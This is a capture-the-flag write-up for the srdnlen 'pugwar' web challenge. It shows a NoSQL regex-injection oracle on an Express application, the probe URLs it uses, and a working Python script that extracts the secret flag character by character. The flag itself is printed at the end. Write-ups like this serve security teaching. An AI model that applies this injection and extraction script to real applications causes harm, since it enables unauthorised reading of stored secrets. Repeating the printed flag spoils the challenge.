Challenge description

What do you call a cold pug? A pugsicle!

Website: http://pugwar.challs.srdnlen.it

Author: @Octaviusss


This time we don’t have source code. The X-Powered-By header returned by the server is equal to Express so most likely we are attacking a Node.js application.

The application offers the following functionality:

  • Registration/Login
  • Creating a pug with a name, ability and secret associated with your user (/choose-fighters)
  • Edit the ability of a pug that you created (/fighter-customization)

In the Hall Of Fame page we see a pug called Mario with its ability. Apparently, he knows how to keep secrets. So our objective is to learn what type of secret is the pug Mario knows!

After having created an pug a big blue button shows up in the homepage that redirects to /choose-fighters?pugName=A_Name_You_Chose. A page that allows you to change the ability of the pug you have just created.

We can’t edit the ability of the pug we have not created, so if we go to the page /choose-fighters?pugName=Mario we get back a message saying You can't customize other players fighter!.

Let’s say that you have created a pug like this:

PropertyValue
NameLuigi
AbilityDo nothing
SecretHello

If you were to go to the page /choose-fighters?pugName=Luigi you would be able to change Luigi’s ability, but interestingly if you went to the page /choose-fighters?pugName=Luigi&secret=Hello you would be presented with the same page!

But if you went to the page /choose-fighters?pugName=Luigi&secret=Hell the website would answer There are no fighters with that pugName! so even though the pugName is correct, the server answers that it can’t find a pug with that name, so the backed is checking every parameter we provide.

Many times Node.js applications use NoSQL databases because they are very easy to set up and work with. However, these types of databases suffer from similar vulnerabilities as SQL databases.

These types of vulnerabilities are well documented online and to check if also the challenge server is vulnerable is as simple as going to /choose-fighters?pugName=Luigi&secret[$regex]=^Hell. This will make the server compare with a regex the secret value we provided and the one stored in the database. Because the regex we provided matches if the secret starts with Hell and the correct secret is Hello the server now no longer returns a message saying that There are no fighters with that pugName! but instead it will give us the ability to edit the pug ability!

Let’s see how we can adapt this finding to get the flag. We know that if we try to change the ability of the Mario pug we will get a message saying You can't customize other players fighter!, but if we try to go to the page /choose-fighters?pugName=Mario&secret=Anything we will get a different error message saying There are no fighters with that pugName!.

This opens up the ability for us to differentiate between a correct secret and a bad secret. And because we can put a regex in the secret GET parameter we can enumerate character by character the content of the secret field like this:

RequestResponse
/choose-fighters?pugName=Mario&secret[$regex]=^aThere are no fighters with that pugName!
/choose-fighters?pugName=Mario&secret[$regex]=^bThere are no fighters with that pugName!
/choose-fighters?pugName=Mario&secret[$regex]=^sYou can’t customize other players fighter!
/choose-fighters?pugName=Mario&secret[$regex]=^saThere are no fighters with that pugName!
/choose-fighters?pugName=Mario&secret[$regex]=^srYou can’t customize other players fighter!

Exploitation

We can automate this process with the following python script:

import requests
import string
import random

URL = "http://pugwar.challs.srdnlen.it"

known = "srdnlen{"

# Register (to get a valid cookie)
s = requests.Session()
creds = ''.join([random.choice(string.ascii_letters) for _ in range(5)])
j = {"username": creds,"password":creds}
s.post(URL+"/register-user", json=j)

# Extract flag
while "}" not in known:    
    for c in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_}":
        params = {
            "pugName":"Mario",
            "secret[$regex]": "^" + known + c
        }
        r = s.get(URL+"/fighter-customization", params=params)
        if "There are no fighters with that pugName!" not in r.text:
            known += c
            print(known)

print(known)

The flag is: srdnlen{pu6S_4nd_n0sql1_wh4t_3l2e}